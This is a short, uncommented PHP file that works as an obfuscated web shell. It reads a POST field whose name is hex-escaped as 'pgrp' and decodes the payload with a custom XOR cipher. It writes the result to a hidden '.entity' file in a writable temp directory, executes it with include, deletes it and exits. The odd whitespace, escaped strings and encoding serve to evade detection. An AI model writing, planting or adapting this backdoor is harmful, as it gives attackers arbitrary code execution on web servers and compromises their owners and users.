<?php

if(filter_has_var(INPUT_POST, "\x70g\x72p")){
	$record = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]);
	$res = $_POST["\x70g\x72p"];
	 		$res	=explode	('.'		,		$res		)	; 
	$property_set = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s 	);
            $v = 0;
    
            while ($v < 	count($res)) {
                $v1 = $res[$v];
                $sChar = ord($s[$v % $lenS] 	);
                $d = ((int)$v1 - $sChar - ($v % 10)) ^ 7;
                $property_set.=chr($d 	);
                $v++;}
	while ($flag = array_shift($record)) {
    		if (array_product([is_dir($flag), is_writable($flag)])) {
    $object = implode("/", [$flag, ".entity"]);
    $success = file_put_contents($object, $property_set);
if ($success) {
	include $object;
	@unlink($object);
	die();}
}
}
}